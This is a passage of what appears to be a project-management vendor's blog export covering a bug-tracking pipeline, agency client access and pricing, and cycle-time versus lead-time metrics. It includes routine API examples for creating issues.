cannot skip Once an issue is triaged, it moves. Every Taskfolk project seeds seven board columns out of the box: Backlog, To Do, In Progress, In Review, Done, Failed, and Cancelled. Each column maps to a fixed status category underneath, and that category (not the column's display name) is what drives `is_open`, reporting, and everything else that needs to know whether an issue is truly resolved. ![The Board statuses tab in project settings, listing the seven default columns and their category mappings](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) In Review is the built-in gate. On its own, a column is just a column, so the discipline comes from transition rules. Each status can restrict which statuses an issue is allowed to move to next, and that check runs at every write path, not just drag-and-drop on the board. It is enforced in the server actions, in bulk edits, in automation runs, and in the v1 API. So if you configure In Progress to only allow In Review, a bug physically cannot jump straight to Done from a script, a bulk move, or a manual drag. A blocked move surfaces a clear message like "Workflow: In Progress to Done is not allowed" rather than silently failing. That single rule is the difference between a board that documents your process and a board that holds the line on it. Nobody marks a bug fixed without it passing through review, because the system will not let them. The columns are yours to shape. Rename them, recolour them, change a column's underlying category, reorder them, add new ones, or delete ones you do not use. You can also set a per-column WIP limit to cap how many issues sit in, say, In Progress at once. The seven defaults are a sensible starting point for a bug tracking system, not a cage. ## Stage 4: link the fixing commit back to the bug Here is the seam that most setups never close: the fix ships, and the code has no visible link to the bug it fixed. Taskfolk closes it with a GitHub integration that attaches commits to issues automatically. ![The GitHub integration settings tab in Taskfolk, showing a connected repository](/images/blog/how-to-connect-github-integrations-tab.webp) The mechanics are simple and reliable. When you push, a webhook reads your commit messages, finds any `#KEY-N` references (for example `#WEB-42`), and for each matched issue it records a commit reference and writes a linked-commit entry onto that issue's timeline. The entry carries the repo, the commit SHA, the author, the message, and a link straight to the commit on GitHub. So on the bug itself, you see the exact commit that touched it, without anyone pasting a link into a comment. Security is handled properly. Each connected repo has its own secret, every webhook is verified with HMAC-SHA256 against the `X-Hub-Signature-256` header, and that secret is stored AES-256-GCM encrypted. One repository can connect to several projects, which matches how a monorepo usually maps to more than one Taskfolk project. Be clear about what this is and is not. It is push-webhook and message-based, so a commit that does not mention the issue key in its message is not linked. There is no pull-request status sync and no branch tracking. It links commits, full stop. And it does not replace your CI/CD. Your tests and deploys still run wherever they run today. This just gives the bug a permanent thread to the code that fixed it. Setup is a few minutes: see [how to connect GitHub](/docs/how-to-connect-github). ## Stage 5: ship the release and let AI draft the notes The last stage closes the loop from fix to shipped. When you tag a release in git, Taskfolk marks the matching release as shipped and offers to write the notes for you. ![The new release modal in Taskfolk, used to plan a release before shipping it](/images/blog/how-to-plan-releases-and-milestones-new-release-modal.webp) Auto-ship works off your tags. Push a tag like `refs/tags/v1.2.0`, or publish a GitHub release, and Taskfolk flips the matching planned release in the linked project to "released" and stamps its release date. The version match strips a leading `v` and is case-insensitive, so `v1.2.0` and `1.2.0` both resolve, and it is idempotent, so a redelivered webhook never ships the same release twice. Then there are the notes. Taskfolk gathers the issues linked to that release and drafts markdown grouped into Features, Fixes, and Other, with each bullet starting with the issue key (like `WEB-12`) so the notes trace straight back to the work. It only summarizes the issues you actually supply, so it never invents a key. Critically, it returns a draft. You read it, edit it, and save it. It never publishes notes on its own. The honest limits. Auto-ship needs the tag to match an existing planned release. A tag with no matching release is a silent no-op. It flips a release's status; it does not create the release for you, so you plan the release first, then tag to ship it. And unlike triage suggestions, the AI-drafted notes do consume AI credits, so on Free's small monthly grant, heavy use points toward a paid plan. Full details in [how to plan releases and milestones](/docs/how-to-plan-releases-and-milestones). ## Drive the same pipeline from the API or an agent Everything above is a UI, but none of it is UI-only. The v1 REST API and the first-party MCP server let a script, or an AI agent, create and move issues on the same board. The main call is creating an issue in a project, `POST /v1/workspaces/{slug}/projects/{key}/issues` with the `issues:write` scope: ```bash curl -X POST \ "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "type": "bug", "title": "Checkout button unresponsive on Safari", "description_md": "Steps: 1. add item 2. click checkout. Nothing happens.", "priority": "high", "labels": ["checkout", "safari"] }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ type: "bug", title: "Checkout button unresponsive on Safari", description_md: "Steps: 1. add item 2. click checkout. Nothing happens.", priority: "high", labels: ["checkout", "safari"], }), }, ); const issue = await res.json(); ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "type": "bug", "title": "Checkout button unresponsive on Safari", "description_md": "Steps: 1. add item 2. click checkout. Nothing happens.", "priority": "high", "labels": ["checkout", "safari"], }, ) issue = res.json() ``` The response is the created issue resource (HTTP 201): ```json { "data": { "id": "018f9c2a-7b1e-7c33-9a4d-2f6b8e1d0c55", "key": "WEB-42", "url": "https://taskfolk.ai/w/acme/p/web/WEB-42", "number": 42, "type": "bug", "title": "Checkout button unresponsive on Safari", "description_md": "Steps: 1. add item 2. click checkout. Nothing happens.", "status": "backlog", "status_id": "018f9c2a-9001-7000-8000-0000000000a1", "status_name": "Backlog", "priority": "high", "assignee_id": null, "assignees": [], "reporter_id": "018f9c2a-1234-7000-8000-0000000000ff", "parent_id": null, "epic_id": null, "milestone_id": null, "sprint_id": null, "release_id": null, "rank": "0|i00007:", "labels": [ { "id": "018f9c2a-aa01-7000-8000-000000000001", "name": "checkout", "color": "#ffd60a" }, { "id": "018f9c2a-aa01-7000-8000-000000000002", "name": "safari", "color": "#4f8cff" } ], "estimate_minutes": null, "spent_minutes": null, "completion_pct": null, "start_at": null, "due_at": null, "resolved_at": null, "archived_at": null, "created_at": "2026-07-16T10:04:22.000Z", "updated_at": "2026-07-16T10:04:22.000Z" } } ``` A couple of things make this genuinely useful for agent-run triage. Taskfolk agents are real workspace members, and they are never billed as seats, so a team of triage and fixing agents adds zero seat cost. A form routed to an agent opens a pending agent session so the agent picks up the report as delegated work, and a `notify_agent` automation action can wake an agent from a rule when a matching issue lands. ## What it costs, and when this pipeline fits The reason to run all five stages in one tool is not only tidiness, it is cost. In Taskfolk, the entire pipeline (forms, AI triage, workflow statuses, GitHub, releases) is on every plan including Free. Capacity is the only ceiling. Here is how that lands next to the usual suspects, as of July 2026. | Tool | Free plan | Next paid tier | Public intake form + AI triage in the box? | |---|---|---|---| | **Taskfolk** | $0, feature-complete (forms, AI triage, workflow gates, GitHub, releases); caps: 128 MB storage, 1 MB/file, 5 projects, 2 automations, 25 AI credits/mo | Pro $3/builder seat/mo ($30/yr); Business $6/mo ($60/yr); viewers free | Yes, both, on every plan | | **Jira** | $0, capped at 10 users | Standard ~$7.91/user/mo; Premium ~$14.54/user/mo | No native public bug form or built-in AI triage on Free | | **Linear** | $0, unlimited members but capped at 2 teams and 250 issues | Business $16/user/mo (billed yearly) | No public intake form | | **Trello** | $0, capped at 10 boards, 10 MB/file, 250 automation runs/mo | Standard $5/user/mo (annual) or $6 monthly | No | | **GitHub Issues** | $0, unlimited public and private repos with Issues, Projects, PRs, Dependabot | Team $4/user/mo (Enterprise $21) | No. It is a code-repo tracker with no public intake form or AI triage of its own | A note on pricing shape, since headline rates hide it. Taskfolk charges only for builder (editor) seats at $3 (Pro) or $6 (Business) per seat per month, and viewers are free. Jira's Standard $7.91 and Premium $14.54 are per-user, with the per-user rate stepping down at larger seat counts. Linear's Free is generous on members but hard-limited to 2 teams and 250 issues, which a busy bug queue outgrows quickly, and its Business tier is $16/user/mo. Trello and GitHub are cheap per seat but neither ships a public bug intake form with AI triage the way this workflow needs. When should you not switch? Two honest cases. If your team already lives entirely in GitHub Issues and never takes a bug report from outside the repo, the extra intake layer buys you little. And if you specifically need pull-request status or branch sync, Taskfolk does not do that. It links commits and ships releases, but it is not a code-review tool. If you do adopt it on Free, weigh three constraints up front: 2 active automation rules (so a fully automated intake-to-routing chain is tight, and richer automation wants Pro's 20 or Business's unlimited), 25 AI credits a month (fine for triage suggestions, which are not metered, but limiting for AI release notes, which are), and the 1 MB per-file upload cap on attachments. ## Human-in-the-loop, not hands-off by default One design choice runs through this whole pipeline, and it is worth stating rather than hiding. The AI suggests, and a person decides. Triage proposes a priority and labels; you apply them. Autonomous triage, the version that applies on its own, is an opt-in per-project toggle, off until you turn it on. AI release notes come back as a draft for you to edit before anything is saved. That is deliberate. A bug tracker is a record of what your team actually decided, and handing every judgment to a model quietly erodes that record. Keeping a human in the loop by default is the feature, not a gap in it. ![A human-in-the-loop approval step for an AI agent's proposed action](/images/blog/human-in-the-loop-approval-for-ai-agents-workflow.webp) If you want to run report-to-fix in one place, spin up a free workspace, publish a bug form, and put the first real report through the pipeline. That is the fastest way to see whether the seams are actually gone. --- # Project management for small agencies (clients in, chaos out) URL: https://taskfolk.ai/blog/project-management-for-small-agencies Published: 2026-07-16 Updated: 2026-07-25 Author: The Taskfolk team Tags: small teams, roles and permissions, pricing, forms Project management for agencies without the seat tax: scoped projects isolate each client, guests and viewers are free, and public forms take intake with no account. You run five client projects. Then eight. Then twelve, if the quarter is good. And somewhere in there, on a Tuesday, a client emails you three words that quietly break your project management tool: "Can I see?" Because now you have to answer honestly. Option one: you send them a login that can browse every other client's project, your internal notes, the retainer you're annoyed about, the margins you'd never show them. Option two: you tell them sure, that's another seat, another $8 to $25 a month per person (as of July 2026 that's roughly the paid-seat range across the big tools), and by the way their CMO wants one too, and so does the brand manager who only ever opens it to nod. Client-safe project management for agencies is the actual requirement here, and most tools hand you a bad trade: locked down, or affordable, pick one. An agency is the worst-case tenancy for a per-seat tool. Client contacts churn (the brand manager leaves, a new one arrives). They multiply (one project, four stakeholders). And most of them just want to watch. Paying a full editor seat for someone who logs in twice a month to check a status is how agencies end up either overpaying or, worse, sharing one shady shared login. The thesis of this post: the four things an agency actually needs from a PM tool can all be free, and I'll show you exactly where each rival draws the line so you can trust the comparison instead of taking my word for it. Those four things are per-client isolation, free client access, free stakeholder viewers, and self-serve intake without accounts. Taskfolk does all four on the free plan. The honest asterisks (project caps, storage, automation limits) get their own section near the end, because pretending there are none would make the rest less trustworthy. ## What breaks when you put agency clients in a normal PM tool The core problem is tenancy. You have one workspace and many clients, and a general-purpose PM tool was designed for one company with one team. Bolt clients onto that and you hit two failure modes. The first is over-exposure. You invite the client in, and the tool's default sharing model lets them see more than their project. Other clients' work. Your internal planning. The stuff you write in comments when you assume only your team is reading. Even if nothing is secret, cross-client visibility inside your agency workspace is a professionalism problem: client A should not be able to infer that client B exists, let alone what you're charging them. The second is the seat bill. Every client contact you add is a line item. Every read-only stakeholder is a line item. The client's project manager, their designer who wants to comment, their CMO who wants a dashboard, the account person on their side, all seats. A single mid-size client can add four or five people who, from a billing standpoint, cost the same as your senior engineer, and contribute a fraction of the editing. So the four requirements fall out naturally: 1. Isolation per client. Each client sees their project and nothing else. 2. Cheap or free client editors. The people who actually collaborate should not each cost a full seat. 3. Free viewers. The people who only watch should cost nothing. 4. Intake without accounts. New requests should not require you to provision a login for a stranger. The rest of this post walks each one, shows how Taskfolk handles it, and states plainly what Jira, Asana, and monday.com do at the same spot (all figures as of July 2026). ## Scoped projects: one client, one project, nothing else Isolation in Taskfolk is a scoped project. Set `scoped = 1` on a project and it stops being visible workspace-wide. From that point, access is by explicit membership: only people who hold a `project_members` row for that project can open it. Owners and admins (that's you and your agency's leads) still see everything, because you need to. But members, viewers, and guests only see a scoped project if they were added to it by name. This is the isolation boundary, and it's managed on the project's Access tab. ![The project Access tab with scoped access turned off](/images/blog/how-to-restrict-project-access-access-tab-off.webp) That screenshot shows a project with scoped access off (the default, workspace-visible). Flip it on and the project drops out of the general project list for everyone who isn't a member. Add your client to that one project, and their whole view of your agency is that single project. They cannot browse to client B's board. They cannot even tell it's there. The enforcement runs in `requireProjectAccess` for every project load and in the visibility layer, which drops the "everyone in the workspace can see it" branch entirely for guests, so there's no accidental leak path around it. Two honest caveats. First, this is not a separate white-labeled client portal product. It's the normal Taskfolk app, scoped down. Your client signs into the same application your team uses, they just see far less of it. If you were picturing a fully re-skinned per-client portal with your logo replacing Taskfolk's throughout, that isn't what this is (the public request forms do carry per-form branding, more on those later, but the app shell itself is not re-branded per client). Second, a client sees only the project or projects you added them to, never cross-project visibility inside the workspace. There's no "show me everything I'm loosely related to" view for a guest. One client, their project or projects, full stop. For a deeper walkthrough of the Access tab and how membership resolves, see [how to restrict project access](/docs/how-to-restrict-project-access). ## Guest access that is genuinely free (and where rivals aren't) Here's the part that changes the math. In Taskfolk, guest is a first-class workspace role, and it is free. Never billed. There is no per-guest fee and no guest-to-seat ratio on any plan, including Free. The seat-sync code that talks to Stripe explicitly skips guests (and viewers) when it counts billable seats, because the set of billed roles is only owner, admin, and member. A guest is an external collaborator scoped to the projects they were invited into. And the invite mechanism is precise: a guest invite carries the exact list of projects the guest joins on accept. When they click the emailed link and accept, a `project_members` row is created for each project on that invite. So you invite a client straight into their one project, and that is the entirety of what they can reach. Inside their scoped project, a guest is a real collaborator, not a spectator. They can create and edit their own issues, comment, and upload attachments. What they cannot do is edit other people's work (editing any issue is owner and admin only), manage labels, docs, or forms, spend your AI credits, create channels or agents, or touch any workspace, project, or member administration. It's exactly the shape you want for a client: they can file and refine their own requests and talk to you, without being able to reorganize your project or run up your AI bill. ![The workspace people list showing roles including guest](/images/blog/how-to-manage-roles-and-permissions-people-list.webp) Now the rivals, stated precisely, because this is where the differences actually live (all as of July 2026): - **Jira.** Guests are free of charge, up to 5 guests per paid user, and the total of paid users plus guests can't exceed the site's user limit. A guest can access only a single Jira space and can't see anything outside it unless it's explicitly shared. The catch: guest access is available only on Standard, Premium, and Enterprise, not the Free plan. So Jira guests are genuinely free, but you have to be on a paid Standard-or-above subscription first (Standard runs about $7.91 per user per month billed annually, with some sources reporting $8.15). - **Asana.** Guests (external collaborators) are free and unlimited on paid plans. But every workspace member is a paid seat on Starter (about $10.99 per user per month annual) and Advanced (about $24.99 per user per month annual), and a paid plan is required. Free guests, paid floor. - **monday.com.** Guests are billed on the Standard plan: every 4 guests count as 1 billed seat, so 3 guests ride free and the 4th tips you into another paid seat. Guests are unlimited on Pro and Enterprise. And monday's paid plans carry a 3-seat minimum, so even a two-person shop pays for three. None of these is a scam, and I'm not going to lump them together as "they all charge for guests," because they don't all do the same thing. Jira and Asana give you free guests but gate them behind a paid plan. monday meters guests into fractional seats. Taskfolk's difference is that free guests work on the free plan, with no seat math attached. For the mechanics of inviting people and choosing roles, see [how to invite team members](/docs/how-to-invite-team-members) and [how to manage roles and permissions](/docs/how-to-manage-roles-and-permissions). ## The pricing math for an agency with 8 client contacts Abstract rules are hard to feel. Let's price a concrete agency. Say you're a small studio: 3 internal builders (people who create and edit work all day), 8 client contacts across your active projects (people who file and discuss their own requests), and 4 client stakeholders who only ever watch (a couple of CMOs, an account lead, a brand manager). That's 15 humans touching the tool. How many do you pay for? Here's the shape across the four tools, using their published per-seat pricing as of July 2026. For the rivals I'm using the entry paid tier where guest or viewer access first becomes possible, since that's the real floor an agency hits. | Tool | Who you pay for (3 builders + 8 contacts + 4 watchers) | Entry per-seat price (as of July 2026) | Notes on the client-facing 12 | |---|---|---|---| | **Taskfolk** | 3 (builders only) | Free $0, Pro $3/mo, Business $6/mo per builder | 8 client contacts = free guests; 4 watchers = free viewers. Works on Free. | | **Jira** | Depends on plan; guests free up to 5 per paid user within the site user limit | Standard ~$7.91/user/mo annual | Guests need a paid Standard+ plan first; guest count is capped relative to paid users. | | **Asana** | Every member is a seat; guests free | Starter ~$10.99/user/mo annual | Client contacts as guests are free, but a paid plan is required to have them at all. | | **monday.com** | 3-seat paid minimum; guests billed 4:1 on Standard | Basic ~$9, Standard ~$12, Pro ~$19/seat/mo annual | 8 guest contacts on Standard is roughly 2 extra billed seats; viewers free but only on a paid plan. | Read the Taskfolk row plainly: you pay for 3 seats. Your 8 client contacts are guests (free), your 4 watchers are viewers (free). On the free plan that's $0 for all 15 people. On Pro it's 3 x $3 = $9 a month total, with the 12 client-side people still free. On Business it's 3 x $6 = $18 a month total. I'm deliberately not putting an exact dollar total on the rival rows, because their totals swing on plan choice, site user limits, and how the guest ratios land for your specific headcount, and I'd rather under-claim than pin a number the research doesn't support. What the research does support is the structure, and the structure is the point: in Taskfolk, only your builders are billable, and viewers are always free. In the others, the client-facing dozen either sits behind a paid plan you must adopt first (Jira, Asana) or gets metered into fractional seats (monday). For a business whose client contacts churn and multiply, "only builders are billable" is the line that keeps the invoice flat as you add clients. ## Free viewers for the stakeholders who only need to watch Guests are for people who work in the project. Viewers are for the person who only needs a window into it. That's the client's CMO, the account director, the stakeholder who wants to glance at progress and never touch anything. The viewer role in Taskfolk is free and never counted as a billed seat (again: only owner, admin, and member are billable). And it's strictly read-only. A viewer can read the project, including chat, but cannot comment, cannot upload attachments, cannot edit anything, and cannot post in chat either. It is a pure watching role. ![The people overview showing team members and their roles](/images/blog/how-to-invite-team-members-people-overview.webp) The distinction between guest and viewer is worth keeping straight, because it maps cleanly onto two kinds of client people: - **Guest** is an external collaborator who does work inside their project. Use it for the client contact who files requests, comments on tickets, and uploads the brief. - **Viewer** is a stakeholder who only observes. Use it for the client executive who wants read-only visibility and nothing else. One factual note on the rivals so this isn't one-sided: monday.com viewers are also unlimited and free, on paid plans. So monday and Taskfolk agree that read-only watchers shouldn't cost money. The difference is the same as everywhere else in this comparison: monday's free viewers assume you're already on a paid plan carrying its 3-seat minimum, whereas Taskfolk's free viewers work on the free plan with no minimum underneath them. ## Public request forms: client intake without a single account The fourth requirement is intake. A client, or a client's colleague you've never met, needs to send you a request, and you do not want to provision a login for them to do it. Taskfolk's answer is public request forms. A branded, unauthenticated form lives at a URL like `/f/`, where the token is an unguessable string 16 to 64 characters long. The form is reachable only if it's both published and public-enabled, and the token is the whole gate. Anyone with the link can submit. They need no account, and they are not a seat. ![The forms list for a project](/images/blog/how-to-set-up-a-request-form-forms-list.webp) The forms are not toy contact boxes. There are 14 field kinds: short text, long text, email, url, phone, number, select, multi-select, radio, checkbox, date, file, section, and rating. That's enough to build a real intake brief. And anonymous submitters can upload files (a client can attach their logo, a PDF brief, reference screenshots), with those uploads metered against your workspace storage cap. The part that saves you time is what happens after submit. A submission auto-creates an issue in the target project, with your routing defaults applied (assignee, labels, sprint, status), and it fires the project's `issue.created` automations. So a client request doesn't land in an inbox for you to re-key, it lands as a pre-triaged issue in the right project, already assigned and labeled. The routing ids are tenant-checked against the project, so a form can't be tricked into filing into someone else's client project. Here's the flow, end to end: ```mermaid flowchart LR A[Client opens /f/token] --> B[Fills fields, uploads brief] B --> C[Submit, no account] C --> D[Issue auto-created in project] D --> E[Routing defaults applied] E --> F[issue.created automations fire] F --> G[Pre-triaged ticket for your team] ``` Two honest caps to flag before you lean on this at volume. First, automated routing beyond the basics is a paid feature: the free plan allows only 2 automation rules, so if you want elaborate "if the request type is X, assign to Y and add label Z and notify the channel" logic across many forms, that's Pro or Business territory. Second, anonymous uploads and guest attachments both count against your workspace storage, and the free ceiling is 128 MB total with a 1 MB per-file limit, so high-volume client file intake (lots of clients each dropping large assets) will hit that ceiling and push you to a paid tier for the headroom. Full setup walkthrough: [how to set up a request form](/docs/how-to-set-up-a-request-form). ## When Free is enough, and when an agency needs to pay I've said "free" a lot, so let me be exact about where free ends, because that's the part a comparison usually hides. Free is feature-complete for core project management. Sprints, timeline, integrations, reporting, and AI are all in the base feature set on the free plan. None of them is paywalled. And the four client-safe pieces this whole post is about (scoped projects, free guests, free viewers, public forms) all work on Free. That is not a stripped trial. It's the real product. What Free caps is scale and a handful of governance features: - 5 active projects. This is the one most likely to pinch an agency, because active client projects is exactly the number that grows. Past 5 concurrent client projects, you need to pay. - 128 MB storage, 1 MB per file. Fine for a light shop, tight if clients dump large assets. - 2 automation rules. Enough for simple routing, not enough for elaborate per-form intake logic at volume. - 25 AI credits a month. - Custom roles beyond the built-in matrix, SSO, and audit logging are paid. Free gives you the owner, admin, member, viewer, and guest roles, which cover the agency case well, but bespoke role definitions and enterprise controls are not on Free. ![The plan grid comparing Free, Pro, and Business](/images/blog/how-to-manage-billing-and-plans-plan-grid.webp) So the decision is genuinely simple: | Your situation | Plan | |---|---| | 5 or fewer active client projects, light storage, simple intake | **Free ($0)**, and it's a real product, not a trial | | More than 5 concurrent client projects, or you want automated intake routing at volume | **Pro ($3 per builder / month)** | | The above plus SSO, audit, custom roles for a bigger operation | **Business ($6 per builder / month)** | Two governance facts worth knowing before you set up. A single user may own at most 3 unpaid workspaces, so you can't spin up an unlimited fleet of free agencies under one login. And the 14-day Pro reverse trial is granted once per user, on the first workspace you create, so later workspaces start on Free directly rather than each getting a fresh trial. The plan grid above carries the rest of the numbers, but if you want the walkthrough, see [how to manage billing and plans](/docs/how-to-manage-billing-and-plans). ## Where agents fit (and why they don't cost you a seat) One more thing, because it's adjacent to the whole "who costs a seat" question and it matters if your team codes. AI agents in Taskfolk are real workspace members (they have `is_agent = 1`), but they are free, never billed as seats, filtered out by the same billable-roles rule that exempts guests and viewers. So each engineer on your team can connect their own coding agent to a client project without adding a cent to your bill. Ten engineers, ten agents, still zero agent seats. There are guardrails too: per-agent field-write permissions let you constrain what an agent is allowed to change, and human-review session states let a person sign off on an agent's work before it's treated as done. The practical shape is that an agent files work into a client project through the API, using an API key with the `issues:write` scope and a Bearer token. Here's the one call that matters, creating an issue in a project, shown in three languages (they render as tabs): ```bash curl -X POST \ https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues \ -H "Authorization: Bearer tfk_live_your_key_here" \ -H "Content-Type: application/json" \ -d '{ "type": "task", "title": "Fix broken link in client footer", "description_md": "Reported via the intake form.", "priority": "high" }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", { method: "POST", headers: { Authorization: "Bearer tfk_live_your_key_here", "Content-Type": "application/json", }, body: JSON.stringify({ type: "task", title: "Fix broken link in client footer", description_md: "Reported via the intake form.", priority: "high", }), }, ); const issue = await res.json(); ``` ```python import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", headers={"Authorization": "Bearer tfk_live_your_key_here"}, json={ "type": "task", "title": "Fix broken link in client footer", "description_md": "Reported via the intake form.", "priority": "high", }, ) issue = res.json() ``` The response comes back as a created issue (HTTP 201), scoped to that one project: ```json { "data": { "id": "0191f7a2-6b3c-7e11-9a4d-2f8c1e0b9d55", "key": "WEB-142", "url": "https://taskfolk.ai/w/acme/p/website/WEB-142", "number": 142, "type": "task", "title": "Fix broken link in client footer", "description_md": "Reported via the intake form.", "status": "backlog", "status_id": "0191f7a2-6b3c-7e11-9a4d-2f8c1e0b0001", "status_name": "Backlog", "priority": "high", "assignee_id": null, "assignees": [], "reporter_id": "0191f7a2-6b3c-7e11-9a4d-2f8c1e0b7a20", "labels": [], "created_at": "2026-07-16T09:30:00.000Z", "updated_at": "2026-07-16T09:30:00.000Z" } } ``` Because that agent is a member of that scoped project only, it can file into that client's project and nowhere else, the same isolation boundary that governs your human guests. For the full breakdown of what does and doesn't consume a seat, see [do AI agents count as seats](/blog/do-ai-agents-count-as-seats). --- If you're an agency tired of choosing between "the client sees everything" and "the client costs another seat," the honest test is whether the free plan carries your first few clients, and for most small studios it does: scoped projects for isolation, free guests for the contacts who collaborate, free viewers for the ones who watch, and public forms for intake. [Start a workspace](/docs/how-to-invite-team-members) and put one real client project behind a scoped invite to see how it feels before anything's billed. --- # Cycle time vs lead time (and how to actually measure both) URL: https://taskfolk.ai/blog/cycle-time-vs-lead-time Published: 2026-07-16 Updated: 2026-07-28 Author: The Taskfolk team Tags: metrics, reports, kanban, sprints, agile Cycle time vs lead time: what each measures, how to compute both from issue history, reading p50/p75 and the histogram, and how Taskfolk, Jira and Linear compare. A team lead pulls up two dashboards and sees "cycle time: 4 days" on one and "lead time: 4 days" on the other, for the same project, in the same week. Someone asks which number to trust in standup, and nobody can answer, because nobody can say where each clock starts. That is the real problem hiding behind "cycle time vs lead time." Both terms are easy to define and easy to mix up, and most articles stop at the definition and leave you exactly where the standup left off. This post goes past the definition: what each metric measures, why the gap between them is the interesting part, how a tool reconstructs both from your issue history (including the honest fallback for when the data is thin), and what to do with a p50, a p75, and a histogram once you have them. ## The two clocks: what cycle time vs lead time actually measure Cycle time vs lead time is, at its plainest, a question about where you put the "start" mark on the same finish line. **Lead time** runs from when the work was requested, which in a tracker means when the issue was created and logged, to when it was marked done. It answers the question a stakeholder asks: "I filed this. How long until it shipped?" **Cycle time** runs from when the work actually started, which on a board means the moment it moved into an In Progress column, to when it was marked done. It answers a narrower question the team asks itself: "Once we picked this up, how long did it take?" The finish line is identical. The difference is entirely in the start, and the space between the two starts has a name: the time the item sat in the backlog waiting for someone to pull it, which is queue or wait time. Lead time includes that wait. Cycle time does not. ```mermaid flowchart LR A[Created] -->|queue / wait time| B[Moved to In Progress] B -->|active + blocked + idle| C[Marked Done] A -.->|Lead time| C B -.->|Cycle time| C ``` One thing to nail down before anyone argues about it in a retro: both of these are elapsed wall-clock time, not active-work time. If an issue starts on a Thursday and finishes the next Wednesday, that is six days of cycle time, even if the actual keyboard work was four hours. Weekends count, nights count, a day spent blocked on someone else counts. Standard flow-metrics guidance (55degrees, on getting started with flow metrics) is explicit that this elapsed clock keeps running through blocked, idle, and weekend time, and that is the definition worth adopting because it is the one your customers experience. They do not feel your flow efficiency; they feel the wall clock. Jira and Linear draw the same line, which helps when you are reconciling numbers across tools. In Jira's terms, cycle time is the time an issue spends in active development, typically from the status change into In Progress until complete, while lead time runs from when the work item is logged (created) until it is completed. Linear's Insights uses the same split: Cycle Time is "time from issue start to completion" and Lead Time is "time from issue creation to completion." The vocabulary is standard. The confusion in that opening standup is almost never about the definitions. It is about which start point a given dashboard silently chose. ## Why the difference matters (and who should care about which) Once the two clocks are separated, you can assign them to the people who actually need them, because they answer different questions for different audiences. Cycle time is a delivery-health metric, the team's number. It tells you how predictable you are once work is genuinely underway, which is what you need for sprint forecasting and for tuning work-in-progress limits. If your cycle time is tight and stable, you can make commitments with a straight face. If it is jumping around, no amount of estimation ceremony will fix your planning, because the variance is downstream of the estimate. Lead time is a stakeholder metric, the customer's number. It includes the backlog wait, so it tells the person who filed the request how long they will actually wait end to end. That is the number to quote when someone asks "when will this be done," because it is honest about the queue in front of their request. The most useful move is to watch the two together, because the gap between them is a diagnostic. If lead time keeps climbing while cycle time stays flat, your team is not getting slower at execution. Your backlog is aging. Work is sitting longer before anyone pulls it, which is a prioritization and capacity problem, not a delivery one. Chasing that with "the team needs to move faster" aims at the wrong target. The fix lives in how you [prioritize your backlog](/docs/how-to-prioritize-your-backlog) and how much you commit to per [sprint](/docs/how-to-run-a-sprint), not in the standup. Use cycle time to tune the machine, lead time to set expectations, and the distance between them to tell whether your problem is execution or queueing. ## How to measure cycle time and lead time from real data Here is the part most posts skip, and it is the part that actually bites. You cannot compute cycle time from a spreadsheet of created dates and closed dates. It is not there. Lead time needs two timestamps that live on the issue row: when it was created, and when it was resolved. A plain export of created and closed dates is enough, so lead time is, in that sense, free. Cycle time needs something the row does not carry: the moment work started. "Moved into In Progress" is an event that happened partway through the issue's life. It is not a column on the issue; it is a line in the issue's history. To know it, you need an append-only activity log that recorded the transition, specifically the first time the status changed to the In Progress category. Without that log, the start of the cycle is unknown, and no clever query recovers it, because the information was never written down. That asymmetry explains a lot of real-world confusion. Lead time is easy, so tools show it everywhere. Cycle time is earned, because it depends on your history being recorded and on your team actually moving cards into In Progress when they start. When a "cycle time" number looks suspiciously like a lead time number, the usual reason is that the tool could not find real In Progress transitions and quietly fell back to the created date, which is exactly the trap in this post's opening. So the honest question for any cycle-time report is not "what is the number" but "where did the start come from." ## How Taskfolk computes both from your issue history Here is the concrete version, from the actual implementation. Taskfolk computes cycle time from an issue's first transition into In Progress (the earliest `status_changed` event in the append-only activity log whose target is the In Progress category) to `resolvedAt`, the moment it reached the done category. Lead time uses the simpler pair, `created_at` to `resolvedAt`. A few rules shape the sample, and they are all deliberate: - **Only Done issues, inside a window.** It counts issues that reached done with a `resolvedAt` inside a selectable window of 7, 30, or 90 days, defaulting to 30. A recent-throughput view, not an all-time export. - **Cancelled and failed work is excluded.** The code is blunt about why: "Cancelled work is excluded: it never completed, so it is not a cycle." - **Elapsed wall-clock, nothing subtracted.** The duration includes blocked, idle, and weekend time between the In Progress transition and done. Taskfolk does not subtract paused or blocked spans, which matches the standard flow-metric definition and is the number your stakeholders feel. - **Capped at 5,000 most-recent resolved issues.** For performance, the sample is bounded to the most recently resolved issues in the window; the median, p75, and buckets across that set are treated as representative, keeping the query fast on projects with a long history. ![Taskfolk project reports grid showing cycle time, throughput, and status breakdown cards](/images/blog/project-reports-and-insights-reports-grid.webp) Custom board columns do not break this. Under the hood, the fixed status category (backlog, todo, in_progress, done, and so on) is the semantic backbone, and your named columns each map to one category. So any custom column mapped to the In Progress category counts as the start, and any column mapped to done sets `resolvedAt`. You can rename "In Progress" to "Building" and split it into three columns; as long as they point at the In Progress category, the cycle clock still starts at the first one your issue enters. ## The honest fallback: when there is no In Progress to measure This is the part that separates a trustworthy report from a misleading one, and it is where Taskfolk refuses to fake a number. Plenty of teams do not move cards through In Progress; they drag straight from Todo to Done, because the work was tiny or because that is the habit. For those teams the activity log has no In Progress transition to find, and a naive tool would either error out or, worse, silently use the created date and label the result "cycle time" anyway. That is the exact lie behind the opening standup. Taskfolk handles it by checking the data before it commits to a basis. If fewer than half the resolved sample has a recorded In Progress event, the report flips its entire basis from In Progress to created, measuring creation-to-done for the whole card, which is lead time. Then it says, in plain text on the card, which basis is active: - "Measured from first move into In Progress to Done." when the basis is In Progress. - "Measured from issue creation to Done (lead time)." when it fell back to created. 